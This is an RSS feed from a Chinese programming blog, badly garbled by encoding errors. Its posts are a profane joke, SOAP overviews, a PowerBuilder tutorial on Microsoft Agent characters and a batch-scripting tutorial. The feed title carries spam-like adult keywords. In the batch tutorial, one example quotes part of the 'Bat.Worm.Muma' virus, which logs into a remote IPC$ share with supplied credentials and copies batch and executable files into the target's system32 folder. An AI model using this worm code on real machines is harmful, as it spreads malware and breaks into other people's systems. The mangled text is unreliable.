??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲国产午夜电影在线入口,久久亚洲中文字幕精品一区四,亚洲国产一区在线http://m.tkk7.com/lcs/category/29911.html黑暗的SHQ灰暗的人生Q?/description>zh-cnWed, 07 May 2008 20:14:24 GMTWed, 07 May 2008 20:14:24 GMT60不行了,W死我了Q?/title><link>http://m.tkk7.com/lcs/archive/2008/05/07/198934.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Wed, 07 May 2008 05:05:00 GMT</pubDate><guid>http://m.tkk7.com/lcs/archive/2008/05/07/198934.html</guid><wfw:comment>http://m.tkk7.com/lcs/comments/198934.html</wfw:comment><comments>http://m.tkk7.com/lcs/archive/2008/05/07/198934.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/lcs/comments/commentRss/198934.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/lcs/services/trackbacks/198934.html</trackback:ping><description><![CDATA[<strong>太阳与草的对话!</strong><br /> <br /> <br /> 太阳l草打电?br /> 太阳Q喂Q草你吗Q我日?br /> 草:我草Q你谁啊Q!<br /> 太阳Q我日啊?br /> 草:我草Q你到底是谁啊!<br /> 太阳Q我日啊Q你草吧Q?br /> 草:TMDQ你到底是谁啊,我草Q?br /> 太阳Q我日,我日啊!<br /> 草:我草Q?br /> q时Q太阳的妈妈接过电话Q我日他吗,你是草吧Q草你吗呐? <img src ="http://m.tkk7.com/lcs/aggbug/198934.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/lcs/" target="_blank">lk</a> 2008-05-07 13:05 <a href="http://m.tkk7.com/lcs/archive/2008/05/07/198934.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是SOAPhttp://m.tkk7.com/lcs/archive/2008/04/24/195607.htmllklkThu, 24 Apr 2008 07:49:00 GMThttp://m.tkk7.com/lcs/archive/2008/04/24/195607.htmlhttp://m.tkk7.com/lcs/comments/195607.htmlhttp://m.tkk7.com/lcs/archive/2008/04/24/195607.html#Feedback0http://m.tkk7.com/lcs/comments/commentRss/195607.htmlhttp://m.tkk7.com/lcs/services/trackbacks/195607.html
它包括四个部分:
SOAP装(envelop)Q封装定义了一个描q消息中的内Ҏ什么,是谁发送的Q谁应当接受q处理它以及如何处理它们的框Ӟ
SOAP~码规则Qencoding rulesQ,用于表示应用E序需要用的数据cd的实?
SOAP RPC表示(RPC representation)Q表CE过E调用和应答的协?
SOAPl定QbindingQ,使用底层协议交换信息?

  虽然q四个部分都作ؓSOAP的一部分Q作Z个整体定义的Q但他们在功能上是相交的、彼此独立的。特别的Q信和~码规则是被定义在不同的XML命名I间(namespace)中,q样使得定义更加单?


========另一个解?=========
单对象访问协议(SOAPQ是一U轻量的、简单的、基于XML的协议,它被设计成在WEB上交换结构化的和固化的信息。SOAP可以和现存的许多因特|协议和格式l合使用Q包括超文本传输协议QHTTPQ,单邮件传输协议(SMTPQ,多用途网际邮件扩充协议(MIMEQ。它q支持从消息 pȝ到远E过E调用(RPCQ等大量的应用程序?nbsp;  
    
 SOAP   包括三个部分Q?nbsp;    
    
SOAP   装Q它定义了一个框Ӟ该框架描qC消息中的内容是什么,谁应当处理它以及它是可选的q是必须的?nbsp;    
SOAP   ~码规则Q它定义了一U序列化的机Ӟ用于交换应用E序所定义的数据类型的实例?nbsp;    
SOAP   RPC   表示Q它定义了用于表CE过E调用和应答的协定?br />
SOAP   消息基本上是从发送端到接收端的单向传输,但它们常常结合v来执行类gh/应答的模式。所有的SOAP消息都?  XML   ~码。一?  SOAP   消息是一个包含有一个必需?  SOAP   的封装包Q一个可选的   SOAP   标头和一个必需?  SOAP   体块?  XML   文档? 
   
    ?  SOAP   l定?  HTTP   提供了同时利?  SOAP   的样式和分散的灵zL的特点以及   HTTP   的丰富的特征库的优点。在   HTTP   上传?  SOAP   q不是说   SOAP   会覆盖现有的   HTTP   语义Q而是   HTTP   上的   SOAP   语义会自然的映射?  HTTP   语义。在使用   HTTP   作ؓ协议l定?nobr oncontextmenu="return false;" onmousemove="kwM(5);" id="clickeyekey5" onmouseover="kwE(event,5, this);" style="background: url(http://control.clickeye.com.cn/images/line5.gif) repeat-x 50% bottom; padding-bottom: 2px; color: #6600ff" onclick="return kwC(event,5)" onmouseout="kwL(event,this)" target="_blank">场合中,   RPC   h映射?  HTTP   h上,?  RPC   应答映射?  HTTP   应答。然而,?  RPC   上?  SOAP   q不仅限?  HTTP   协议l定?nbsp;   


lk 2008-04-24 15:49 发表评论
]]>
Agent插g析[转]http://m.tkk7.com/lcs/archive/2008/03/12/185584.htmllklkWed, 12 Mar 2008 02:23:00 GMThttp://m.tkk7.com/lcs/archive/2008/03/12/185584.htmlhttp://m.tkk7.com/lcs/comments/185584.htmlhttp://m.tkk7.com/lcs/archive/2008/03/12/185584.html#Feedback0http://m.tkk7.com/lcs/comments/commentRss/185584.htmlhttp://m.tkk7.com/lcs/services/trackbacks/185584.html该文被n多网站{载,没找到原始出处!

使用qoffice xp、金山毒霸和瑞星杀毒Y件的朋友Q一定会对程序中的h性化的动画角色留下深d象,q完全归功于微Y推出的AgentQ?#8220;代理”Q技术,Agent采用COM技术,使用ActiveX控g方式Q支持现在流行的各种开发工P不仅可以实现文本的朗读,而且可识别用L语音命oQ在应用E序和HTML文g中得到广泛的使用?
下面我们以PowerBuilder 8.0为开发工h~制一个小实用E序,一步步说明其实现方?
W一步从Internet|上下蝲Agent插g,q安装在计算Z,q是开发的前期准备工作:
q些插g来源于微软公司的相关|站,下蝲的网址?http://www.microsoft.com/msagent/downloads/user.asp,q接使用该网?
1、首先单?#8220;Download the Microsoft Agent core componts(395kbs exe)”下蝲q安装Agent的核心组Ӟ其文件名?#8220;Msagent.exe"?
2、其ơ单击(先选择"Simplified Chinese (127kb exe)”Q下载ƈ安装语言lgQ其文g名ؓ“AgtX0804.exe"?
3、其ơ单击(先选择"Lernout & Hauspie TruVoice TTS engine - American English(1Mb exe)”Q下载ƈ安装TTS引擎Q其文g名ؓ“tv_enua.exe",要实现语x读,必须安装Q当前版本支持英语?
4、再其次单击Q先选择"Doadload the Microsoft Speech Recognition Engine(6Mb exe)”Q下载ƈ安装语音识别引擎Q其文g名ؓ“Actcnc.exe",要实现语韛_令识别,必须安装Q当前版本支持英语?
5、最后单?#8220;Download selected character"下蝲安装要用到的动画角色文gQ在q里我们下蝲微Y公司|站所提供的动画角色文Ӟ主要包括Genie(妖怪、鬼Q、RobbyQ机器hQ、Merlin、Peedy(睡衣Q共四种动画角色Q专无管教供7^@供|Q{9iL&G育它们不但有丰富的行为动作,而且h语言功能Q其对应的文件名分别为Genie.acs、Robby.acs、Merlin.acs、Peedy.acs。这些Agent角色的常用动d作,通常用含有相同意义的英文单词字符来标识,如下表所C,以下所q编E实例即演示它们分别所产生的动作效果?
帔R   相关动作
Acknowledge  昄承认、答谢的动作
Alert   昄警告的动?
Announce                  昄宣布?br /> ?gZ|Fj~r无Wk垠@j{
通告的工?
Blink   昄眨眼的动?
Decline                  昄摇头拒绝的动?
DoMagic1、DoMagic2                 昄指挥演奏的动?
Confused                  昄qh的动?
Congratulate  昄贺的动?
DontRecognize  昄无法识别的动?
Explain                  昄解释的动?
GesttureDown  昄向下方向的手势动?
GesttureLeft  昄向左方向的手势动?
GesttureRight  昄向右方向的手势动?
GesttureUp                  昄向上方向的手势动?
GetAttention  昄立正的动?
GetAttentionContinued                昄l箋立正的动?
GetAttentionReturn                 昄l箋立正的动?
Greet   昄问候的动作
Hearing_1  
Hearing_2                  昄左右聆听的动?
Hearing_3
Hide   隐藏动画角色
Idle1_1                 昄舒展的动?
Idle1_2                 昄向左倄动作
Idle1_3                 昄向右倄动作
Idle1_4                 昄向后倄动作
Idle1_5                 昄向前倄动作
Idle2_1                 昄带x听音乐的动作
Idle2_2                 昄吃饼q的动作
Idle3_1                 昄带x听音乐的动作
Idle3_2                 昄瞌睡的动?
Idle3_3                 昄带x听音乐的动作
LookDown  昄向下查看的动?
LookDownBlink  昄向下眨眼的动?
LookDownLeft  昄向左下方查看的动?
LookDownLeftBlink 昄向左下方眨眼的动?
LookDownLeftReturn 昄回返向左下方查看的动?
LookDownRight  昄向右下方查看的动?
LookDownRightBlink 昄向右下方眨眼的动?
LookDownRightReturn 昄回返向右下方查看的动?
LookDownReturn 昄回返向下Ҏ看的动作
LookLeft  昄向左Ҏ看的动作
LookLeftBlink  昄向左方眨眼的动作
LookLeftReturn 昄回返向左Ҏ看的动作
LookRight  昄向右Ҏ看的动作
LookRightBlink 昄向右方眨眼的动作
LookRightReturn 昄回返向右Ҏ看的动作
LookUp   昄向上查看的动?
LookUpBlink  昄向上眨眼的动?
LookUpLeft  昄向左上方查看的动?
LookUpLeftBlink 昄向左上方眨眼的动?
LookUpLeftReturn 昄回返向左上方查看的动?
LookUpRight  昄向右上方查看的动?
LookUpRightBlink 昄向右上方眨眼的动?
LookUpRightReturn 昄回返向右上方查看的动?
LookUpReturn  昄回返向上Ҏ看的动作
MoveDown  昄向下Ud的动?
MoveLeft  昄向左Ud的动?
MoveRight  昄向右Ud的动?
MoveUp   昄向上Ud的动?
Pleaseed  昄愉快的动?
Process  昄处理工作的动?
Processing  昄正在处理工作的动?
Read   昄阅读的动?
Readcontinued  昄l箋阅读的动?
Reading  昄正在阅读的动?
ReadReturn  昄停止阅读的动?br /> Sad   昄悲伤的动?
Search   昄查找的动?
Searching  昄正在查找的动?
Show   昄动画角色
StartListening 昄开始聆听的动作
StopListening  昄停止聆听的动?
Suggest  昄的动?
Surprised  昄惊讶的表?
Think   昄思考的表情
Thinking  昄正在思考的表情
Uncertain  昄不确定的动作
Wave   昄致意的动?
Write   昄写的动作
Writecontinued 昄l箋写的动作
Writing  昄正在写的动作
WritReturn  昄停止写的动作
当然Q我们也可以从http://www.microsoft.com/msagent/downloads/developer.asp|页单击“Download the
Microsoft Agent Character Editor(1Mb exe)”?#8220;Download the Microsoft Agent Linguistic Information
Sound  Editing Tool(6.2Mb exe)”下蝲制作工具Q亲自制作自己所钟爱的动画角色Ş象?
W二步设计应用程?
    在PowerBuilder中提供了OLE控gQ以便PowerBuilder应用E序能够使用其它开发工L写的COMlg和ActiveX控g
在用相关的COMlg和ActiveX控g先,L册相关的COMlg和ActiveX控g,在PowerBuilder注册控gQ可以在PowerBulider
开发环境中Q插入OLE控gӞ选择Regisiter Newq行注册?
    Agent控g的主要属性如下表Q?
属?nbsp;   用?
Charactors    用于讄与控件相兌的动画角色文?
Connected   用于判别控g是否与Agent服务器相q接
LanguageID   用于讄Agent所使用的语aQ目前仅可设|ؓ十六q制?#8220;409”,?#8220;&H409”
    Agent控g的主要方法如下表Q?
Ҏ    用?
Load    用于初始化Agent控gQƈ加蝲动画角色数据文g
UnLoad    用于卸蝲动画角色数据文g
Show    用于昄的Agent动画角色Qƈ可通过参数控制动画角色的显C速度
Hide    用于隐藏的Agent动画角色Qƈ可通过参数控制动画角色的隐藏速度
StopAll   用于停止动画角色的所有动?
Stop    用于停止动画角色的当前动?
MoveTo    用于Ud动画角色Q可通过参数来设|移动的坐标和移动的速度
Interrupt   用于中断动画角色的动画,在执行一些有持箋性的动画动作Ӟ如不
    中断该动作即执行下一个动作,会生异常现?
Wait    用于在多个动画角色间实现怺之间的动作协?
Play    用于执行指定的动d作,可通过参数来设|动ȝ?
Speak    用于通过语音合成引擎Q实现英语的语音合成输出功能Q即只需要输?
    英文字符ԌAgent卛_通过声音输出讑֤“说话”
    Agent控g的主要事件如下表
事g    用?
Show    在Agent动画角色昄时触发,可利用该事g程序的ȝ面隐?
Hide    在Agent动画角色隐藏时触发,可利用该事g程序的ȝ面重新显C?
在PowerBuilder中实现的步骤如下
1、新建myexample.pbw的工作区Q?
2、新建myexample.pbt的应用目标,PowerBuilder会自动徏立一个pbl库文件以便存攄关的PowerBuilder对象Qƈ建立一个myexample
应用E序对象Q?
3、新建窗口对象w_example,q在其上攄控g如下表:
控g    控g名称
listbox   lb_1
commandbutton   cb_1
commandbutton   cb_2
ole control   ole_1(q插入对应的Agent ActiveX控g)
4、新单对象m_file,q添加相兌单项如下表:
菜单?nbsp;   菜单文本  菜单脚本
m_file    文g(&F)   
 m_fileopen  打开(&O)  parentwindow.triggerevent("ue_fileopen")
 m_bar1   -
       m_fileexit  退?&E)  parentwindow.triggerevent("ue_fileexit")
5、将H口对象w_example的menuid属性设|ؓm_file
6、定义窗口w_example的实例变量如下:
privite:
boolean ib_flag
string is_animationname
7、编写窗口w_example相关事g脚本Q?
open事g脚本如下Q?
long result,ll
if fileexists(GetCurrentDirectory ( )+"\peedy.acs")=false then
   result=messagebox("提示“Q?在程序当前目录下没有动画角色文g"Qstop!)
   ib_flag=false
   close(this)
else
   ib_flag=true
   ole_1. O B J E C T.characters.load("CharacterID",GetCurrentDirectory ( )+"\peedy.acs")
   ole_1. O B J E C T.characters("CharacterID").languageID=1033
   ole_1. O B J E C T.characters("CharacterID").moveto(20,20)
   ole_1. O B J E C T.characters("CharacterID").show()
   ole_1. O B J E C T.characters("CharacterID").play("Wave")
   ole_1. O B J E C T.characters("CharacterID").speak("Hello,Welcome to use The Character Animation Previewer Programm!")
   ole_1. O B J E C T.characters("CharacterID").play("Reading")
   lb_1.reset()
   for ll=1 to upperbound(ole_1. O B J E C T.characters("CharacterID").animationnames)
        lb_1.additem(ole_1. O B J E C T.characters("CharacterID").animationnames[ll])
   next
   lb_1.selectitem(1)
close事g脚本如下Q?
if ib_flag=true then
   ole_1. O B J E C T.characters("CharacterID").hide()
   ole_1. O B J E C T.characters.unload("CharacterID")
end if
自定义事件ue_fileopen的脚本如下:
string docname, named
integer value
value = GetFileOpenName("选择动画角色文g",docname, named, "acs", "动画角色文g(*.acs),*.acs" )
IF value = 1 THEN 
   ole_1. O B J E C T.characters.unload("CharacterID")
   ole_1. O B J E C T.characters.load("CharacterID",docname)
   ole_1. O B J E C T.characters("CharacterID").languageID=1033
   ole_1. O B J E C T.characters("CharacterID").moveto(20,20)
   ole_1. O B J E C T.characters("CharacterID").show()
   ole_1. O B J E C T.characters("CharacterID").speak("Hello!")
   ole_1. O B J E C T.characters("CharacterID").play("congratulate")
   ole_1. O B J E C T.characters("CharacterID").play("Wave")
   cb_1.enabled=false  
   lb_1.reset()
   for ll=1 to upperbound(ole_1. O B J E C T.characters("CharacterID").animationnames)
        lb_1.additem(ole_1. O B J E C T.characters("CharacterID").animationnames[ll])
   next
   lb_1.selectitem(1)
   ole_1. O B J E C T.characters("CharacterID").moveto(0,0)
   lb_1.setfocus()
end if
自定义事件ue_fileexit的脚本如下:
close(this)
lb_1的clicked事g脚本如下Q?
cb_1.enabled=true
lb_1的doubleclicked事g脚本如下Q?
cb_1.triggerevent("clicked")
lb_1的getfocus事g如下Q?
cb_1.default=true
cb_1的clicked事g脚本如下Q?
ole_1. O B J E C T.characters("CharacterID").stop
this.title="演示动画角色动作Q?+lb_1.SelectedItem ( )
ole_1. O B J E C T.characters("CharacterID").play(lb_1.selecteditem())
cb_2的clicked事g脚本如下Q?
ole_1. O B J E C T.characters("CharacterID").stop()
8、编写application对象open事g脚本如下Q?
open(w_example)

lk 2008-03-12 10:23 发表评论
]]>
十分l典的批处理教程http://m.tkk7.com/lcs/archive/2008/03/06/184141.htmllklkThu, 06 Mar 2008 01:43:00 GMThttp://m.tkk7.com/lcs/archive/2008/03/06/184141.htmlhttp://m.tkk7.com/lcs/comments/184141.htmlhttp://m.tkk7.com/lcs/archive/2008/03/06/184141.html#Feedback0http://m.tkk7.com/lcs/comments/commentRss/184141.htmlhttp://m.tkk7.com/lcs/services/trackbacks/184141.html
q是一技术教E,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,p学到知识。写q篇教程的目的,是让每一个看q这些文字的朋友C一句话Q如果爱可以让事情变的更单,那么p它简单吧Q看q篇教程的方法,是慢!慢慢的,如同品一个女人、一杯茗Ӟ你会发现很多以前在眼前的东西突然变的很遥远Q而有些很遥远的东西却又突然回C眼前?
      先概qC下批处理是个什么东东。批处理的定义,至今我也没能l出一个合适的----众多高手们也都没l出----反正我不知道----看了我也不一定信?---我是个菜鸟,当然更不用说了Q但我想ȝZ?比较合适的"Q而且我也怿自己可以把它解释的很清楚Q让更多的菜鸟都知道q是个什么东东,你用q个东东可以q什么事情。或怽会因文章?无条件爱上批处理"Q那么我的目的就辑ֈ?---我就是要让你׃它,我就q么拽,你能怎么着Q?真的Q爱有时候就q么拽,是q么没理由,是q么不要脸!真的Q?br /> 按照我的理解Q批处理的本质,是一堆DOS命o按一定顺序排列而Ş成的集合?br />         OK,never claver and get to businessQ闲话少说言归正传)。批处理Q也UCؓ批处理脚本,英文译ؓBATCHQ批处理文g后缀BAT取的前三个字母。它的构成没有固定格式,只要遵守以下q条ok了:每一行可视ؓ一个命令,每个命o里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的q_是DOS。批处理有一个很鲜明的特点:使用方便、灵z,功能强大Q自动化E度高。我不想让自己写的教E枯燥无呻I因ؓ늼C码(批处理的内容是代码吧?Q的问题本来是枯燥的,很少有h能面Ҏ屏幕的代码而静下心来。所以我会用很多单实用的例子让读q篇教程的朋友去体会批处理的那四的力Q感受它那古늲怪的性格Q不知不觉中׃批处理(晕,怎么又是爱?到底批处理和爱有什么关p?{案Q没有!Q。再说句"闲话"Q要学好批处理,DOS基础一定要牢!当然脑子灉|也是很重要的一斚w?br />        例一、先l出一个最easy的批处理脚本让大家和它؜个脸熟,下面的几行命o保存为name.bat然后执行Q以后文中只l出代码Q保存和执行方式cMQ:
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
        是不是都能看的懂Q是不是很easyQ但它的作用却是很实用的Q执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文Ӟ它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远?从服务器中{"那一痛苦的过E。这?gt;的意思,是把前面命o得到的东西放到后面所l的地方Q?gt;>的作用,?gt;的相同,区别是把l果q加到前一行得出的l果的后面,具体的说是下一行,而前面一行命令得出的l果保留,q样可以使这个a.txt文g来大Q想到如何搞破坏了?Q)。By the wayQ这个批处理q可以和其他命ol合Q搞成完全自动化判断服务器速度的东东,执行后直接显C速度最快的服务器IPQ是不是很爽Q后面还详l介l?

例二、再l出一个已l过时的例子Qa.batQ:
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
        Z么说q是个过时的例子呢?很简单,因ؓ现在已经几乎没有人用带广告的QQ了(KAOQ我的QQq显C好友三围呢Q!Q,所以它几乎用不上了。但曄它的作用是不可小H的Q删除QQ的广告,让对话框q干净净。这里用的地址是QQ的默认安装地址Q默认批处理文g名ؓa.batQ你当然可以Ҏ情况自行修改。在q个脚本中用了if命oQ得它可以辑ֈ适时判断和删除广告图片的效果Q你只需要不关闭命o执行后的DOSH口Q不按CTRL+Cl止命oQ它׃直监视是否有q告囄QQQ也再不断查看自己的广告是否被删除Q。当然这个脚本占用你一点点内存Q呵c?/p>

例三Q用批处理脚本查是否中冰河。脚本内容如下:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
         q里利用了netstat命oQ检查所有的|络端口状态,只需要你清楚常见木马所使用的端口,p很easy的判断出来是否被人种了冰沟뀂然q不是确定的Q因为冰河默认的端口7626Q完全可以被Z攏V这里介l的只是Ҏ和思\。这里介l的是方法和思\E做改动Q就变成可以查其他木马的脚本了,再改动一下,加进d数和端口及信息列表文件后Q就变成自动所有木马的脚本了。呵呵,是不是很q瘾Q脚本中q利用了l合命o&&和管道命令|Q后面将详细介绍?/p>

例四Q借批处理自动清除pȝ垃圾Q脚本如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
       以上脚本内容保存到autoexec.bat里,每次开机时把pȝ垃圾l自动删除了。这里需要注意两点:一、DOS不支持长文g名,所以就出现了Tempor~1q个东东Q二、可Ҏ自己的实际情况进行改动,使其W合自己的要求。怎么P看到q里Q你Ҏ处理脚本是不是已l有点兴了Q是不是发现自己已经慢慢׃了这个东东?别高兴的太早Q爱不是一件简单的事,它也许能带给你快乐和q福Q当然也能让你痛苦的惛_x。如果你知道很难q敢l箋的话QI 服了 YOUQl努力吧Q也许到最后你不一定得到真爱(真的有这可能Q爱q的人都知道Q,但你可以体会到整个爱的过E,是如此?酸、苦和GQ有没有甜天知道。ؓ什么会把批处理和爱情扯上关p?不是我无聊,也不是因样写有趣多少Q原因有二:其一Q批处理和爱情有很多相同的地方,有些地方我用"专业"的行话解释不清(我不怀疑自q表达能力Q而是事情本n׃好说清楚Q,说了=没说Q但用地球h都知道的爱情一比喻Q爱情是什么??*怎么知道Q!Q,没准你心里一下就亮堂了,事半功倍,何乐而不为?其二Q我q段旉状态不是很好,感冒发烧头疼dQ但主要q是感情上精摧D,搞的人烦透了Q借写教程之际感慨几句Q大家就全当买狗皮膏药了Q完全可以省略不看(也许q真有点效果----不至于让你看着看着q着了,把头了来找我报销医药费)。说不定下次的教E中大家q会看到杨过、张无忌{金老前辈笔下的英雄们?br />         看过W一章的朋友Q一定对批处理有了初步的印象Q知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思\要灵z!没有做不到的Q只有想不到的。这和爱情就有点不同了,因ؓ爱情的世界是两个人的世界Q一厢情愿不叫爱情(补充Q那叫单恋。废话!Q而批处理却是一个h的天堂,你可以ؓ所ƲؓQ没有达不到的境界!
        批处理看h杂ؕ无章Q但它的逻辑性之强,l对不比其他E序语言Q如汇编Q低Q如果你写的脚本是一堆ؕ麻,虽然每一行命令都正确Q但从头执行到尾后,不一定得C惌的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来l营Q缺或增多的步骤都可能D不想看见的结果。陷入爱河的朋友Q相信没有不肯定q句话的。我的爱情批处理Q输出的l果不是Bad command or fail nameQ屏q是q么昄的:‘你的爱情'不是内部或外部命令,也不是可q行的程序或批处理文件。然后就是光标不停闪动,{待q下一ơ错误的输入?/p>

       从这一章开始,由入q介绍批处理中常用的命令,很多常见DOS命o在批处理脚本中有q广泛的应用Q它们是批处理脚本的BODY部分Q但批处理比DOS更灵zdP更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说Q的DOS命oQ常用命令如COPY、DIR{就不做介绍了(q些看似单的命o实际复杂的很Q我怕自己都说不清楚Q)?br /> 例五Q先看一个实例。这是一个很有意思的脚本Q一个小巧实用的好东东,把批处理"自动?的特点体现的淋漓致。先介绍一下这个脚本的来历Q大安知道汇编E序QMASMQ的上机q程Q先要对源代码进行汇~、连接,然后再执行,而这中间有很多环节需要输入很多东西,ȝ的很Q只有经历过的朋友才懂得Q。如何ɘq个q程变的单呢Q在我们搞汇~课E设计时Q我"被?写了q个脚本Q用h很爽Q呵c看看脚?br /> 内容Q?br /> @echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
      先不要被q一堆的东西l吓怕了Q静下心来仔l的看(回想一下第一章中W一D|怎么写的Q!Q。已l给Z每一行命令的解释Q两个冒号后面的内容为前一行内容解释的E文(xE文的朋友也不用担心,都很easyQ一看就懂了Q实在不懂了不会查词典啊Q这么懒Q)Q在脚本执行时不昄Q也不vM作用。倒数W?行行首有一个冒P可不是笔误哦Q具体作用后面会详细讲到。此脚本中masm和link是汇~程序和q接E序Q必deditE序以及你要~辑的源代码Q当然还有这个脚本,废话Q)一起在当前目录中。用这个批处理脚本Q可以最大可能的减少手工输入Q整个过E中只需要按几下回R键,卛_实现从汇~源代码到可执行exe文g的自动化转换Qƈ具备判断功能Q如果汇~时源代码出现错误(汇编不成功)Q则自动暂停昄错误信息Qƈ在按L键后自动q入~辑源代码界面;如果源代码汇~成功,则进行连接,q在q接后自动执行生成的exe文g。另外,׃批处理命令的单性和灉|性,q个脚本q具备良好的可改q性,单进行修改就可以W合不同朋友的上Z惯。正在学汇编的朋友,一定别忘了实习一下!
      在这个脚本中出现了如下几个命令:@、echo?:、pause?和goto?以及if。而这一章就讲q这几个命o?/p>

1、@
      q个W号大家都不陌生Qemail的必备符P它怎么会跑到批处理中呢Q呵呵,不是它的错,批处理本来就M开它,要不׃完美了。它的作用是让执行窗口中不显C它后面q一行的命o本nQ多么绕口的一句话Q)。呵呵,通俗一点说Q行首有了它的话Q这一行的命o׃昄了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显C后面的echo off部分。这下懂了吧Q还是不太懂Q没关系Q看完echo命o介,自然懂了?/p>

2、echo
      中文?反馈"?回显"的意思。它其实是一个开兛_令,是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命o了?br />       直接执行echo命o显C当前echo命o状态(off或onQ执行echo off关闭回显,它后面的所有命令都不显C命令本w,只显C执行后的结果,除非执行echo on命o。在例五中,首行的@命o和echo off命o联合hQ达C两个目的Q不昄echo off命o本nQ不昄以后各行中的命o本n。的是有点乱,但你要是l习一下的话,3分钟包会Q不会的退钱!

echo命o的另一U用?br /> 一Q可以用它来昄信息Q如例五中倒数W二行,Default BAT file name is START.BAT在脚本执行后的H口中显
C,而echo命o本n不显C(Z么?Q)?/p>

二:可以直接~辑文本文g。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上脚本内容的编辑方法是Q直接是命o行输入,每行一回R。最后就会在当前目录下生成一个a.bat的文Ӟ直接执行׃得到l果?/p>

3?:
        q个命o的作用很单,它是注释命oQ在批处理脚本中和rem命o{效。它后面的内容在执行时不昄Q也不vM作用Q因为它只是注释Q只是增加了脚本的可L,和C语言中的/*............*/cM。地球h都能看懂Q就不多说了?/p>

4、pause
       中文?暂停"的意思(看看你的workman上)Q我一直认为它是批处理中最单的一个命令,单纯、实用。它的作用,是让当前E序q程暂停一下,q显CZ行信息:hL键l? . .。在例五中这个命令运用了两次Q第一ơ的作用是让使用者看清楚E序信息Q第二个是显C错误的汇编代码信息Q其实不是它xC,而是masmE序在显C错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里Q?/p>

5?和goto
       Z么要把这两个命o联合h介绍Q因为它们是分不开的,无论了哪个或多了哪个都会出错。goto是个跌{命oQ?是一个标{。当E序q行到gotoӞ自动蟩转到:定义的部分去执行了(是不是分不开Q)。例五中倒数W?行行首出C?Q则E序在运行到goto时就自动跌{?标签定义的部分执行,l果是显C本usageQusage是标签名称Q。不隄出,goto命o是Ҏq个冒号和标{֐U来L它该跌{的地方,它们是一一对应的关pRgoto命o也经常和if命ol合使用。至于这两个命o具体用法Q参照例五?br /> goto命o的另一U用法一Q提前结束程序。在E序中间使用goto命o跌{到某一标签Q而这一标签的内容却定义为退出。如Q?br /> ......
goto end
......
:end
q里:end在脚本最后一行!其实q个例子很弱智,后面讲了if命o和组合命令你q道了?/p>

6?
       q个癑ֈ号严格来说是不上命令的Q它只是批处理中的参数而已Q多?一起用的情况除外Q以后还详l介l)Q但千万别以为它只是参数小看了它(看看例五中有多少地方用到它?Q,了它批处理的功能就减少?1%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32.bat -r -h -s
       以上代码是Bat.Worm.Muma病毒中的一部分Q?1代表的IPQ?%代表的usernameQ?%代表password。执行Ş式ؓQ脚本文件名 参数一 参数?......。假设这个脚本被保存为a.batQ则执行形式如下Qa IP username password。这里IP、username、password是三个参敎ͼ~Z不可Q因为程序不能正运行,q不是因为少了参数语法就不对Q这样在脚本执行q程中,脚本p动用用你的三个参Cơ(CQ是依次Q也是一一对应的关pR)代换1%?%?%Q这样就辑ֈ了灵z运用的目的Q试惻I如果在脚本中直接把IP、username和password都定义死Q那么脚本的作用也就被固定了Q但如果使用%的话Q不同的参数可以辑ֈ不同的目的,是不是更灉|Q)?br />        关于q个参数的用,在后l章节中q将介绍。一定要非常熟练才行Q这需要很多练习过E,需要下点狠工夫Q?br />        q一章就写到q里了。可能有朋友问了Q怎么没介lif命oQ呵呵,不是我忘了,而是它不Ҏ说清楚,下一章再讲了Q这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话QDOS是批处理的BODYQQ何一个DOS命o都可以被用在批处理脚本中d成特定的功能。到q里Q你是否已经惛_了用自己肚子里的东西d点带有自动化色彩的东东呢Q很单,是一个DOS命o的集合而已Q相信自UCؓ天才的你已经会把计算机等U考试上机试题中的DOS部分用批处理来自动化完成了?/p>

